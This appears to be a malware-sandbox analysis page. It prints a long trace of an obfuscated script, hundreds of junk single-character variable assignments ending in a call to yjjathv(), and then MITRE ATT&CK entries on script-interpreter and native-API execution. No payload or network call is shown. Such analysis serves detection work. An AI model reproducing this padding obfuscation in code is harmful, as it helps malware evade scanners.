345	yywrrsg = "w";
346	yywrrsg = "E";
347	yywrrsg = "8";
348	kbmlxwfo = "x";
349	kbmlxwfo = "l";
350	kbmlxwfo = "K";
351	kbmlxwfo = "O";
352	kbmlxwfo = "C";
353	kbmlxwfo = "l";
354	kbmlxwfo = "n";
355	kbmlxwfo = "U";
356	kbmlxwfo = "C";
357	kbmlxwfo = "Z";
358	kbmlxwfo = "E";
359	kbmlxwfo = "u";
360	kbmlxwfo = "e";
361	kbmlxwfo = "j";
362	ylpfuwgxj = "C";
363	ylpfuwgxj = "j";
364	ylpfuwgxj = "Y";
365	ylpfuwgxj = "R";
366	ylpfuwgxj = "l";
367	ylpfuwgxj = "T";
368	ylpfuwgxj = "y";
369	ylpfuwgxj = "j";
370	ylpfuwgxj = "w";
371	ylpfuwgxj = "I";
372	ylpfuwgxj = "V";
373	ylpfuwgxj = "r";
374	ylpfuwgxj = "s";
375	xksrpf = "M";
376	xksrpf = "r";
377	xksrpf = "H";
378	xksrpf = "W";
379	xksrpf = "l";
380	xksrpf = "Y";
381	xksrpf = "S";
382	xksrpf = "Q";
383	xksrpf = "r";
384	xksrpf = "j";
385	xksrpf = "u";
386	xksrpf = "B";
387	xksrpf = "D";
388	xksrpf = "D";
389	xksrpf = "S";
390	xksrpf = "l";
391	xksrpf = "X";
392	xksrpf = "g";
393	xksrpf = "t";
394	xksrpf = "l";
395	xksrpf = "E";
396	xksrpf = "M";
397	xksrpf = "F";
398	xksrpf = "r";
399	xksrpf = "r";
400	xksrpf = "q";
401	xksrpf = "V";
402	xksrpf = "i";
403	xksrpf = "T";
404	xksrpf = "G";
405	xksrpf = "I";
406	xksrpf = "o";
407	xksrpf = "G";
408	xksrpf = "h";
409	xksrpf = "9";
410	fbcynjlrb = "b";
411	fbcynjlrb = "Z";
412	fbcynjlrb = "H";
413	fbcynjlrb = "k";
414	fbcynjlrb = "V";
415	fbcynjlrb = "T";
416	fbcynjlrb = "r";
417	fbcynjlrb = "n";
418	fbcynjlrb = "o";
419	fbcynjlrb = "c";
420	fbcynjlrb = "J";
421	fbcynjlrb = "q";
422	fbcynjlrb = "E";
423	fbcynjlrb = "m";
424	fbcynjlrb = "O";
425	fbcynjlrb = "C";
426	fbcynjlrb = "V";
427	fbcynjlrb = "z";
428	fbcynjlrb = "K";
429	fbcynjlrb = "Z";
430	fbcynjlrb = "e";
431	bninrfbuu = "n";
432	bninrfbuu = "U";
433	bninrfbuu = "A";
434	bninrfbuu = "4";
435	aknczyh = "f";
436	aknczyh = "P";
437	aknczyh = "n";
438	aknczyh = "N";
439	aknczyh = "U";
440	aknczyh = "Z";
441	aknczyh = "M";
442	aknczyh = "b";
443	aknczyh = "t";
444	aknczyh = "x";
445	aknczyh = "f";
446	aknczyh = "m";
447	aknczyh = "O";
448	aknczyh = "e";
449	aknczyh = "A";
450	aknczyh = "M";
451	aknczyh = "N";
452	aknczyh = "a";
453	aknczyh = "l";
454	aknczyh = "R";
455	lhcebr = "I";
456	lhcebr = "Q";
457	qonasw = "R";
458	qonasw = "S";
459	qonasw = "H";
460	qonasw = "Z";
461	qonasw = "S";
462	qonasw = "q";
463	qonasw = "P";
464	qonasw = "A";
465	qonasw = "R";
466	qonasw = "r";
467	qonasw = "R";
468	qonasw = "U";
469	qonasw = "k";
470	qonasw = "A";
471	qonasw = "H";
472	qonasw = "O";
473	qonasw = "l";
474	qonasw = "K";
475	qonasw = "N";
476	qonasw = "Q";
477	qonasw = "W";
478	qonasw = "o";
479	qonasw = "B";
480	qonasw = "x";
481	qonasw = "F";
482	qonasw = "l";
483	qonasw = "i";
484	nghzhejii = "I";
485	nghzhejii = "P";
486	nghzhejii = "Z";
487	nghzhejii = "P";
488	nghzhejii = "H";
489	nghzhejii = "A";
490	nghzhejii = "N";
491	nghzhejii = "W";
492	nghzhejii = "w";
493	nghzhejii = "l";
494	nghzhejii = "Z";
495	nghzhejii = "i";
496	nghzhejii = "O";
497	nghzhejii = "T";
498	nghzhejii = "o";
499	nghzhejii = "n";
500	nghzhejii = "g";
501	nghzhejii = "1";
502	cjjzcyasa = "x";
503	cjjzcyasa = "z";
504	cjjzcyasa = "X";
505	cjjzcyasa = "o";
506	cjjzcyasa = "n";
507	cjjzcyasa = "N";
508	cjjzcyasa = "Z";
509	cjjzcyasa = "I";
510	cjjzcyasa = "P";
511	cjjzcyasa = "A";
512	cjjzcyasa = "r";
513	cjjzcyasa = "N";
514	cjjzcyasa = "i";
515	cjjzcyasa = "U";
516	cjjzcyasa = "I";
517	cjjzcyasa = "y";
518	cjjzcyasa = "m";
519	cjjzcyasa = "k";
520	cjjzcyasa = "u";
521	cjjzcyasa = "\\";
522	klypfthcj = "A";
523	klypfthcj = "i";
524	klypfthcj = "R";
525	klypfthcj = "P";
526	klypfthcj = "q";
527	klypfthcj = "v";
528	klypfthcj = "p";
529	klypfthcj = "C";
530	klypfthcj = "U";
531	klypfthcj = "q";
532	klypfthcj = "t";
533	klypfthcj = "N";
534	klypfthcj = "r";
535	klypfthcj = "u";
536	klypfthcj = "Z";
537	klypfthcj = "P";
538	klypfthcj = "I";
539	klypfthcj = "M";
540	klypfthcj = "z";
541	klypfthcj = "G";
542	klypfthcj = "i";
543	klypfthcj = "h";
544	klypfthcj = "l";
545	klypfthcj = "r";
546	klypfthcj = "X";
547	klypfthcj = "F";
548	klypfthcj = "J";
549	klypfthcj = "I";
550	klypfthcj = "p";
551	klypfthcj = "I";
552	klypfthcj = "u";
553	klypfthcj = "x";
554	klypfthcj = "S";
555	klypfthcj = "S";
556	klypfthcj = "q";
557	klypfthcj = "Y";
558	klypfthcj = "Z";
559	klypfthcj = "H";
560	klypfthcj = "A";
561	klypfthcj = "g";
562	klypfthcj = "l";
563	klypfthcj = "t";
564	klypfthcj = "g";
565	bnxnn = "G";
566	bnxnn = "y";
567	bnxnn = "C";
568	bnxnn = "Q";
569	bnxnn = "l";
570	bnxnn = "m";
571	bnxnn = "l";
572	bnxnn = "T";
573	bnxnn = "E";
574	bnxnn = "h";
575	bnxnn = "w";
576	bnxnn = "u";
577	bnxnn = "I";
578	bnxnn = "P";
579	bnxnn = "H";
580	bnxnn = "L";
581	bnxnn = "s";
582	bnxnn = "x";
583	bnxnn = "W";
584	bnxnn = "e";
585	bnxnn = "V";
586	bnxnn = "l";
587	bnxnn = "Z";
588	bnxnn = "T";
589	bnxnn = "%";
590	htftov = "D";
591	htftov = "t";
592	htftov = "G";
593	htftov = "d";
594	mqbbeit = "z";
595	mqbbeit = "D";
596	mqbbeit = "M";
597	mqbbeit = "s";
598	mqbbeit = "O";
599	mqbbeit = "q";
600	mqbbeit = "K";
601	mqbbeit = "h";
602	mqbbeit = "L";
603	mqbbeit = "m";
604	mqbbeit = "b";
605	mqbbeit = "u";
606	mqbbeit = "u";
607	mqbbeit = "R";
608	mqbbeit = "u";
609	mqbbeit = "p";
610	mqbbeit = "S";
611	mqbbeit = "R";
612	mqbbeit = "E";
613	mqbbeit = "x";
614	mqbbeit = "r";
615	mqbbeit = "l";
616	mqbbeit = "J";
617	mqbbeit = "N";
618	mqbbeit = "r";
619	mqbbeit = "a";
620	mqbbeit = "l";
621	mqbbeit = "v";
622	mqbbeit = "G";
623	mqbbeit = "Z";
624	mqbbeit = "P";
625	mqbbeit = "n";
626	wzdvnx = "T";
627	wzdvnx = "i";
628	wzdvnx = "U";
629	wzdvnx = "Y";
630	wzdvnx = "G";
631	wzdvnx = "h";
632	wzdvnx = "u";
633	wzdvnx = "Q";
634	wzdvnx = "J";
635	wzdvnx = "v";
636	wzdvnx = "K";
637	wzdvnx = "t";
638	wzdvnx = "I";
639	wzdvnx = "y";
640	wzdvnx = "b";
641	wzdvnx = "d";
642	wzdvnx = "E";
643	wzdvnx = "H";
644	wzdvnx = "A";
645	wzdvnx = "l";
646	wzdvnx = "q";
647	wzdvnx = "f";
648	wzdvnx = "t";
649	wzdvnx = "N";
650	wzdvnx = "y";
651	wzdvnx = "y";
652	wzdvnx = "m";
653	wzdvnx = "Z";
654	wzdvnx = "o";
655	wzdvnx = "m";
656	wzdvnx = "r";
657	wzdvnx = "I";
658	emplgouhp = "V";
659	emplgouhp = "g";
660	emplgouhp = "D";
661	emplgouhp = "f";
662	emplgouhp = "A";
663	emplgouhp = "N";
664	emplgouhp = "r";
665	emplgouhp = "Z";
666	emplgouhp = "m";
667	emplgouhp = "P";
668	mzpjjo = "L";
669	mzpjjo = "v";
670	mzpjjo = "L";
671	mzpjjo = "v";
672	mzpjjo = "e";
673	mzpjjo = "V";
674	mzpjjo = "O";
675	mzpjjo = "C";
676	mzpjjo = "r";
677	mzpjjo = "y";
678	mzpjjo = "I";
679	mzpjjo = "O";
680	mzpjjo = "F";
681	mzpjjo = "n";
682	mzpjjo = "j";
683	mzpjjo = "G";
684	mzpjjo = "p";
685	mzpjjo = "U";
686	mzpjjo = "o";
687	mzpjjo = "C";
688	mzpjjo = "M";
689	mzpjjo = "S";
690	twjhvjlmq = "u";
691	utuma = "N";
692	utuma = "c";
693	utuma = "v";
694	utuma = "V";
695	utuma = "f";
696	utuma = "N";
697	utuma = "b";
698	utuma = "k";
699	utuma = "S";
700	utuma = "E";
701	utuma = "e";
702	utuma = "x";
703	utuma = "C";
704	utuma = "D";
705	utuma = "z";
706	utuma = "B";
707	utuma = "F";
708	utuma = "w";
709	utuma = "k";
710	utuma = "d";
711	utuma = "a";
712	utuma = "R";
713	utuma = "a";
714	utuma = "C";
715	utuma = "b";
716	utuma = "j";
717	utuma = "j";
718	utuma = "k";
719	utuma = "U";
720	utuma = "I";
721	utuma = "P";
722	utuma = "K";
723	utuma = "A";
724	utuma = "T";
725	utuma = "o";
726	utuma = "V";
727	utuma = "w";
728	utuma = "H";
729	utuma = "f";
730	utuma = "Y";
731	utuma = "H";
732	utuma = "S";
733	utuma = "v";
734	utuma = "k";
735	mkdoah = "P";
736	mkdoah = "z";
737	mkdoah = "B";
738	mkdoah = "E";
739	mkdoah = "B";
740	mkdoah = "L";
741	mkdoah = "t";
742	mkdoah = "g";
743	mkdoah = "y";
744	mkdoah = "X";
745	mkdoah = "o";
746	mkdoah = "o";
747	mkdoah = "w";
748	mkdoah = "h";
749	mkdoah = "G";
750	mkdoah = "W";
751	mkdoah = "I";
752	mkdoah = "y";
753	mkdoah = "r";
754	mkdoah = "u";
755	mkdoah = "K";
756	mkdoah = "k";
757	mkdoah = "V";
758	mkdoah = "N";
759	mkdoah = "E";
760	mkdoah = "D";
761	mkdoah = "J";
762	mkdoah = "y";
763	mkdoah = "L";
764	mkdoah = "e";
765	mkdoah = "S";
766	mkdoah = "L";
767	mkdoah = "f";
768	mkdoah = "F";
769	sewzoqb = "l";
770	sewzoqb = "q";
771	sewzoqb = "Y";
772	sewzoqb = "a";
773	sewzoqb = "k";
774	sewzoqb = "p";
775	sewzoqb = "Y";
776	sewzoqb = "v";
777	sewzoqb = "E";
778	sewzoqb = "L";
779	sewzoqb = "G";
780	sewzoqb = "e";
781	sewzoqb = "E";
782	sewzoqb = "i";
783	sewzoqb = "c";
784	sewzoqb = "K";
785	sewzoqb = "k";
786	sewzoqb = "y";
787	sewzoqb = "W";
788	sewzoqb = "g";
789	sewzoqb = "t";
790	sewzoqb = "K";
791	sewzoqb = "z";
792	sewzoqb = "k";
793	sewzoqb = "C";
794	sewzoqb = "U";
795	sewzoqb = "j";
796	sewzoqb = "c";
797	houawzv = "j";
798	houawzv = "W";
799	houawzv = "Y";
800	houawzv = "i";
801	houawzv = "O";
802	houawzv = "b";
803	houawzv = "C";
804	houawzv = "n";
805	houawzv = "F";
806	houawzv = "g";
807	houawzv = "p";
808	houawzv = "H";
809	houawzv = "z";
810	houawzv = "Z";
811	houawzv = "s";
812	houawzv = "Z";
813	houawzv = "e";
814	houawzv = "Z";
815	houawzv = "P";
816	houawzv = "n";
817	houawzv = "x";
818	houawzv = "u";
819	houawzv = "Z";
820	houawzv = "J";
821	houawzv = "O";
822	houawzv = "i";
823	houawzv = "h";
824	houawzv = "w";
825	houawzv = "o";
826	houawzv = "K";
827	houawzv = "W";
828	gneuezbxb = "M";
829	gneuezbxb = "Q";
830	gneuezbxb = "S";
831	gneuezbxb = "o";
832	zrxevd = "U";
833	zrxevd = "c";
834	zrxevd = "C";
835	zrxevd = "S";
836	zrxevd = "E";
837	zrxevd = "u";
838	zrxevd = "W";
839	zrxevd = "W";
840	zrxevd = "C";
841	zrxevd = "P";
842	zrxevd = "q";
843	zrxevd = "P";
844	zrxevd = "o";
845	zrxevd = "K";
846	zrxevd = "P";
847	zrxevd = "j";
848	zrxevd = "C";
849	zrxevd = "E";
850	zrxevd = "r";
851	zrxevd = "K";
852	zrxevd = "Z";
853	zrxevd = "I";
854	zrxevd = "d";
855	zrxevd = "Y";
856	zrxevd = "s";
857	zrxevd = "D";
858	zrxevd = "h";
859	zrxevd = "q";
860	zrxevd = "d";
861	zrxevd = "a";
862	zrxevd = "L";
863	zrxevd = "N";
864	zrxevd = "D";
865	zrxevd = "p";
866	zrxevd = "c";
867	zrxevd = "G";
868	zrxevd = "Z";
869	zrxevd = "V";
870	zrxevd = "e";
871	zrxevd = "e";
872	zrxevd = "E";
873	jwzzgppg = "D";
874	jwzzgppg = "m";
875	jwzzgppg = "z";
876	jwzzgppg = "s";
877	jwzzgppg = "C";
878	jwzzgppg = "R";
879	jwzzgppg = "Y";
880	jwzzgppg = "S";
881	jwzzgppg = "y";
882	jwzzgppg = "P";
883	jwzzgppg = "x";
884	jwzzgppg = "q";
885	jwzzgppg = "3";
886	codtr = "m";
887	codtr = "k";
888	codtr = "x";
889	codtr = "j";
890	codtr = "H";
891	codtr = "N";
892	codtr = "m";
893	codtr = "n";
894	codtr = "Z";
895	codtr = "H";
896	codtr = "\"";
897	vhvtycd = "f";
898	vhvtycd = "5";
899	ztoaf = "h";
900	ztoaf = "s";
901	ztoaf = "X";
902	ztoaf = "x";
903	ztoaf = "b";
904	ztoaf = "N";
905	ztoaf = "B";
906	ztoaf = "k";
907	ztoaf = "B";
908	ztoaf = "g";
909	ztoaf = "r";
910	ztoaf = "g";
911	ztoaf = "I";
912	ztoaf = "J";
913	ztoaf = "A";
914	ztoaf = "C";
915	ztoaf = "l";
916	ztoaf = "w";
917	ztoaf = "h";
918	ztoaf = "B";
919	ztoaf = "T";
920	ztoaf = "Y";
921	ztoaf = "h";
922	ztoaf = "V";
923	ztoaf = "A";
924	ztoaf = "b";
925	ztoaf = "k";
926	ztoaf = "x";
927	ztoaf = "g";
928	ztoaf = "T";
929	ztoaf = "W";
930	ztoaf = "f";
931	ztoaf = "z";
932	ztoaf = "C";
933	ztoaf = "/";
934	lgsyoxqpd = "t";
935	lgsyoxqpd = "R";
936	lgsyoxqpd = "h";
937	lgsyoxqpd = "g";
938	lgsyoxqpd = "A";
939	lgsyoxqpd = "g";
940	lgsyoxqpd = "b";
941	lgsyoxqpd = "K";
942	lgsyoxqpd = "m";
943	lgsyoxqpd = "D";
944	lgsyoxqpd = "Z";
945	lgsyoxqpd = "e";
946	lgsyoxqpd = "u";
947	lgsyoxqpd = "p";
948	zphgpmsms = "K";
949	zphgpmsms = "w";
950	zphgpmsms = "D";
951	zphgpmsms = "S";
952	zphgpmsms = "T";
953	qiekypp = "B";
954	qiekypp = "T";
955	qiekypp = "T";
956	qiekypp = "h";
957	qiekypp = "7";
958	bcjucyew = "F";
959	bcjucyew = "B";
960	bcjucyew = "A";
961	bcjucyew = "d";
962	bcjucyew = "u";
963	bcjucyew = "V";
964	bcjucyew = "I";
965	bcjucyew = "e";
966	bcjucyew = "h";
967	bcjucyew = "w";
968	bcjucyew = "A";
969	bcjucyew = "N";
970	bcjucyew = "n";
971	bcjucyew = "V";
972	bcjucyew = "e";
973	bcjucyew = "e";
974	bcjucyew = "Y";
975	bcjucyew = "c";
976	bcjucyew = "y";
977	bcjucyew = "q";
978	bcjucyew = "c";
979	bcjucyew = "B";
980	bcjucyew = "p";
981	bcjucyew = "q";
982	wutbg = "N";
983	wutbg = "J";
984	wutbg = "J";
985	wutbg = "a";
986	wutbg = "q";
987	wutbg = "E";
988	wutbg = "e";
989	wutbg = "s";
990	wutbg = "o";
991	wutbg = "s";
992	wutbg = "e";
993	wutbg = "l";
994	wutbg = "T";
995	wutbg = "y";
996	wutbg = "v";
997	wutbg = "T";
998	wutbg = "H";
999	wutbg = "t";
1000	wutbg = "Z";
1001	wutbg = "V";
1002	wutbg = "y";
1003	wutbg = "s";
1004	wutbg = "b";
1005	wutbg = "q";
1006	wutbg = "k";
1007	wutbg = "F";
1008	wutbg = "G";
1009	wutbg = "A";
1010	wutbg = "T";
1011	wutbg = "l";
1012	wutbg = "f";
1013	wutbg = "r";
1014	wutbg = "r";
1015	wutbg = "g";
1016	wutbg = "J";
1017	wutbg = "f";
1018	wutbg = "E";
1019	wutbg = "H";
1020	wutbg = "i";
1021	wutbg = "u";
1022	wutbg = "w";
1023	wutbg = "j";
1024	wutbg = "a";
1025	zxmuqmmm = "b";
1026	zxmuqmmm = "h";
1027	zxmuqmmm = "j";
1028	zxmuqmmm = "z";
1029	zxmuqmmm = "h";
1030	zxmuqmmm = "0";
1031	hvmjeoek = "M";
1032	hvmjeoek = "f";
1033	hvmjeoek = "d";
1034	hvmjeoek = "H";
1035	hvmjeoek = "z";
1036	hvmjeoek = "k";
1037	hvmjeoek = "r";
1038	hvmjeoek = "o";
1039	hvmjeoek = "p";
1040	hvmjeoek = "h";
1041	hvmjeoek = "k";
1042	hvmjeoek = "b";
1043	hvmjeoek = "F";
1044	hvmjeoek = "T";
1045	hvmjeoek = "r";
1046	hvmjeoek = "F";
1047	hvmjeoek = "i";
1048	hvmjeoek = "w";
1049	hvmjeoek = "P";
1050	hvmjeoek = "u";
1051	hvmjeoek = "g";
1052	hvmjeoek = "a";
1053	hvmjeoek = "X";
1054	hvmjeoek = "q";
1055	hvmjeoek = "M";
1056	hvmjeoek = "M";
1057	hvmjeoek = "m";
1058	hvmjeoek = "l";
1059	hvmjeoek = "w";
1060	hvmjeoek = "J";
1061	hvmjeoek = "J";
1062	hvmjeoek = "M";
1063	hvmjeoek = "X";
1064	hvmjeoek = "b";
1065	hvmjeoek = "U";
1066	hvmjeoek = "d";
1067	hvmjeoek = "t";
1068	hvmjeoek = "F";
1069	hvmjeoek = "@";
1070	huelnbcin = "G";
1071	huelnbcin = "A";
1072	huelnbcin = "q";
1073	huelnbcin = "I";
1074	huelnbcin = "E";
1075	huelnbcin = "w";
1076	huelnbcin = "Z";
1077	huelnbcin = "x";
1078	huelnbcin = "z";
1079	huelnbcin = "T";
1080	huelnbcin = "c";
1081	huelnbcin = "t";
1082	huelnbcin = "b";
1083	huelnbcin = "Z";
1084	huelnbcin = "y";
1085	huelnbcin = "k";
1086	huelnbcin = "q";
1087	huelnbcin = "x";
1088	huelnbcin = "g";
1089	huelnbcin = "g";
1090	huelnbcin = "G";
1091	huelnbcin = "w";
1092	huelnbcin = "n";
1093	huelnbcin = "f";
1094	huelnbcin = "g";
1095	huelnbcin = "z";
1096	huelnbcin = "P";
1097	huelnbcin = "h";
1098	huelnbcin = "d";
1099	huelnbcin = "c";
1100	huelnbcin = "J";
1101	huelnbcin = "x";
1102	huelnbcin = "f";
1103	zclrkmjs = "S";
1104	zclrkmjs = "v";
1105	zclrkmjs = "i";
1106	zclrkmjs = "o";
1107	zclrkmjs = "Y";
1108	zclrkmjs = "V";
1109	zclrkmjs = "y";
1110	zclrkmjs = "L";
1111	zclrkmjs = "Z";
1112	zclrkmjs = "X";
1113	zclrkmjs = "L";
1114	zclrkmjs = "N";
1115	zclrkmjs = "j";
1116	zclrkmjs = "k";
1117	zclrkmjs = "z";
1118	zclrkmjs = "m";
1119	zclrkmjs = "R";
1120	zclrkmjs = "j";
1121	zclrkmjs = "D";
1122	zclrkmjs = "W";
1123	zclrkmjs = "O";
1124	isutu = "C";
1125	isutu = "k";
1126	isutu = "m";
1127	isutu = "N";
1128	isutu = "O";
1129	isutu = "H";
1130	isutu = "d";
1131	isutu = "z";
1132	isutu = "d";
1133	isutu = "A";
1134	isutu = "Q";
1135	isutu = "m";
1136	isutu = "F";
1137	isutu = "i";
1138	isutu = "o";
1139	isutu = "r";
1140	zixogtjgy = "P";
1141	zixogtjgy = "p";
1142	zixogtjgy = "l";
1143	zixogtjgy = "Y";
1144	zixogtjgy = "W";
1145	zixogtjgy = "P";
1146	zixogtjgy = "2";
1147	fhbmm = "x";
1148	fhbmm = "i";
1149	fhbmm = "z";
1150	fhbmm = "H";
1151	fhbmm = "n";
1152	fhbmm = "n";
1153	fhbmm = "d";
1154	fhbmm = "Z";
1155	fhbmm = "G";
1156	fhbmm = "c";
1157	fhbmm = "B";
1158	fhbmm = "z";
1159	fhbmm = "V";
1160	fhbmm = "e";
1161	fhbmm = "f";
1162	fhbmm = "K";
1163	fhbmm = "Y";
1164	fhbmm = "L";
1165	fhbmm = "b";
1166	fhbmm = "m";
1167	fhbmm = "H";
1168	fhbmm = "H";
1169	fhbmm = "O";
1170	fhbmm = "w";
1171	fhbmm = "g";
1172	fhbmm = "X";
1173	fhbmm = "A";
1174	fhbmm = "v";
1175	fhbmm = "n";
1176	fhbmm = "C";
1177	yvoohqnq = "p";
1178	yvoohqnq = "L";
1179	yvoohqnq = "R";
1180	yvoohqnq = "b";
1181	yvoohqnq = "i";
1182	yvoohqnq = "p";
1183	yvoohqnq = "r";
1184	yvoohqnq = "v";
1185	yvoohqnq = "A";
1186	yvoohqnq = "t";
1187	yvoohqnq = "T";
1188	yvoohqnq = "I";
1189	yvoohqnq = "I";
1190	yvoohqnq = "U";
1191	yvoohqnq = "T";
1192	yvoohqnq = "I";
1193	yvoohqnq = "b";
1194	yvoohqnq = "e";
1195	yvoohqnq = "T";
1196	yvoohqnq = "G";
1197	yvoohqnq = "t";
1198	tppdaxkr = "e";
1199	tppdaxkr = "M";
1200	tppdaxkr = "f";
1201	tppdaxkr = "U";
1202	tppdaxkr = "O";
1203	tppdaxkr = "f";
1204	tppdaxkr = "d";
1205	tppdaxkr = "F";
1206	tppdaxkr = "f";
1207	tppdaxkr = "z";
1208	tppdaxkr = "y";
1209	tppdaxkr = "M";
1210	tppdaxkr = "O";
1211	tppdaxkr = "s";
1212	tppdaxkr = "n";
1213	tppdaxkr = "Y";
1214	tppdaxkr = "T";
1215	tppdaxkr = "d";
1216	tppdaxkr = "B";
1217	tppdaxkr = "R";
1218	tppdaxkr = "G";
1219	tppdaxkr = "N";
1220	eadixxgm = "m";
1221	bvhdzkwt = "t";
1222	bvhdzkwt = "E";
1223	bvhdzkwt = "Q";
1224	bvhdzkwt = "a";
1225	bvhdzkwt = "M";
1226	bvhdzkwt = "v";
1227	bvhdzkwt = "O";
1228	bvhdzkwt = "c";
1229	bvhdzkwt = "A";
1230	bvhdzkwt = "o";
1231	bvhdzkwt = "c";
1232	bvhdzkwt = "v";
1233	bvhdzkwt = "l";
1234	bvhdzkwt = "b";
1235	bvhdzkwt = "d";
1236	bvhdzkwt = "m";
1237	bvhdzkwt = "j";
1238	bvhdzkwt = "n";
1239	bvhdzkwt = "i";
1240	bvhdzkwt = "E";
1241	bvhdzkwt = "t";
1242	bvhdzkwt = "t";
1243	bvhdzkwt = "D";
1244	bvhdzkwt = "G";
1245	bvhdzkwt = "a";
1246	bvhdzkwt = "M";
1247	bvhdzkwt = "t";
1248	bvhdzkwt = "c";
1249	bvhdzkwt = "g";
1250	bvhdzkwt = "c";
1251	bvhdzkwt = "u";
1252	bvhdzkwt = "Z";
1253	bvhdzkwt = "z";
1254	bvhdzkwt = " ";
1255	tdiwqorf = "z";
1256	tdiwqorf = "H";
1257	tdiwqorf = "S";
1258	tdiwqorf = "m";
1259	tdiwqorf = "n";
1260	tdiwqorf = "b";
1261	tdiwqorf = "S";
1262	tdiwqorf = "l";
1263	tdiwqorf = "R";
1264	tdiwqorf = "q";
1265	tdiwqorf = "M";
1266	tdiwqorf = "i";
1267	tdiwqorf = "C";
1268	tdiwqorf = "F";
1269	tdiwqorf = "f";
1270	tdiwqorf = "W";
1271	tdiwqorf = "T";
1272	tdiwqorf = "B";
1273	tdiwqorf = "n";
1274	tdiwqorf = "u";
1275	tdiwqorf = "y";
1276	tdiwqorf = "x";
1277	tdiwqorf = "j";
1278	tdiwqorf = "O";
1279	tdiwqorf = "y";
1280	tdiwqorf = "N";
1281	tdiwqorf = "g";
1282	tdiwqorf = "p";
1283	tdiwqorf = "V";
1284	tdiwqorf = "M";
1285	tdiwqorf = "o";
1286	tdiwqorf = "o";
1287	tdiwqorf = "H";
1288	tdiwqorf = "h";
1289	huwgi = "U";
1290	huwgi = "D";
1291	huwgi = "o";
1292	huwgi = "g";
1293	huwgi = "A";
1294	huwgi = "v";
1295	huwgi = "T";
1296	huwgi = "O";
1297	huwgi = "K";
1298	huwgi = "E";
1299	huwgi = "P";
1300	huwgi = "l";
1301	huwgi = "i";
1302	huwgi = "j";
1303	huwgi = "g";
1304	huwgi = "l";
1305	huwgi = "U";
1306	huwgi = "j";
1307	huwgi = "r";
1308	huwgi = "q";
1309	huwgi = "J";
1310	huwgi = "l";
1311	huwgi = "m";
1312	huwgi = "l";
1313	huwgi = "v";
1314	huwgi = "Q";
1315	huwgi = "g";
1316	huwgi = "o";
1317	huwgi = "b";
1318	huwgi = "Z";
1319	huwgi = "v";
1320	huwgi = "i";
1321	huwgi = "D";
1322	huwgi = "m";
1323	huwgi = "G";
1324	huwgi = "A";
1325	huwgi = "D";
1326	huwgi = "v";
1327	rxhnndd = "Q";
1328	rxhnndd = "d";
1329	rxhnndd = "j";
1330	rxhnndd = "h";
1331	rxhnndd = "v";
1332	rxhnndd = "h";
1333	rxhnndd = "o";
1334	rxhnndd = "H";
1335	rxhnndd = "D";
1336	rxhnndd = "x";
1337	rxhnndd = "f";
1338	rxhnndd = "H";
1339	rxhnndd = "C";
1340	rxhnndd = "H";
1341	rxhnndd = "m";
1342	rxhnndd = "q";
1343	rxhnndd = "b";
1344	rxhnndd = "n";
1345	rxhnndd = "j";
1346	rxhnndd = "V";
1347	rxhnndd = "V";
1348	rxhnndd = "M";
1349	rxhnndd = "p";
1350	rxhnndd = "Z";
1351	rxhnndd = "H";
1352	rxhnndd = "D";
1353	rxhnndd = "y";
1354	rxhnndd = "P";
1355	rxhnndd = "u";
1356	rxhnndd = "V";
1357	rxhnndd = "u";
1358	rxhnndd = "h";
1359	rxhnndd = "s";
1360	rxhnndd = "C";
1361	rxhnndd = "i";
1362	rxhnndd = "M";
1363	rxhnndd = "I";
1364	rxhnndd = "c";
1365	rxhnndd = "j";
1366	rxhnndd = "p";
1367	rxhnndd = "r";
1368	rxhnndd = "I";
1369	rxhnndd = "w";
1370	rxhnndd = "U";
1371	toxencfuj = "E";
1372	toxencfuj = "i";
1373	toxencfuj = "u";
1374	toxencfuj = "k";
1375	toxencfuj = "a";
1376	toxencfuj = "k";
1377	toxencfuj = "X";
1378	toxencfuj = "l";
1379	toxencfuj = "m";
1380	toxencfuj = "l";
1381	toxencfuj = "P";
1382	toxencfuj = "D";
1383	toxencfuj = "R";
1384	toxencfuj = "i";
1385	toxencfuj = "G";
1386	toxencfuj = "U";
1387	toxencfuj = "G";
1388	toxencfuj = "y";
1389	toxencfuj = "E";
1390	toxencfuj = "x";
1391	toxencfuj = "I";
1392	toxencfuj = "l";
1393	toxencfuj = "B";
1394	toxencfuj = "X";
1395	toxencfuj = "z";
1396	toxencfuj = "q";
1397	toxencfuj = "h";
1398	toxencfuj = "X";
1399	toxencfuj = "X";
1400	toxencfuj = "G";
1401	toxencfuj = "f";
1402	toxencfuj = "p";
1403	toxencfuj = "e";
1404	toxencfuj = "P";
1405	toxencfuj = "K";
1406	toxencfuj = "q";
1407	toxencfuj = "b";
1408	uzdlymk = "U";
1409	uzdlymk = "o";
1410	uzdlymk = "u";
1411	uzdlymk = "N";
1412	uzdlymk = "B";
1413	uzdlymk = "i";
1414	uzdlymk = "K";
1415	uzdlymk = "k";
1416	uzdlymk = "E";
1417	uzdlymk = "k";
1418	uzdlymk = "S";
1419	uzdlymk = "c";
1420	uzdlymk = "W";
1421	uzdlymk = "N";
1422	uzdlymk = "E";
1423	uzdlymk = "m";
1424	uzdlymk = "W";
1425	uzdlymk = "p";
1426	uzdlymk = "d";
1427	uzdlymk = "V";
1428	uzdlymk = "T";
1429	uzdlymk = "E";
1430	uzdlymk = "V";
1431	uzdlymk = "t";
1432	uzdlymk = "U";
1433	uzdlymk = "S";
1434	uzdlymk = "j";
1435	uzdlymk = "S";
1436	uzdlymk = "W";
1437	uzdlymk = "p";
1438	uzdlymk = ":";
1439	yjjathv ( );	yjjathv() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
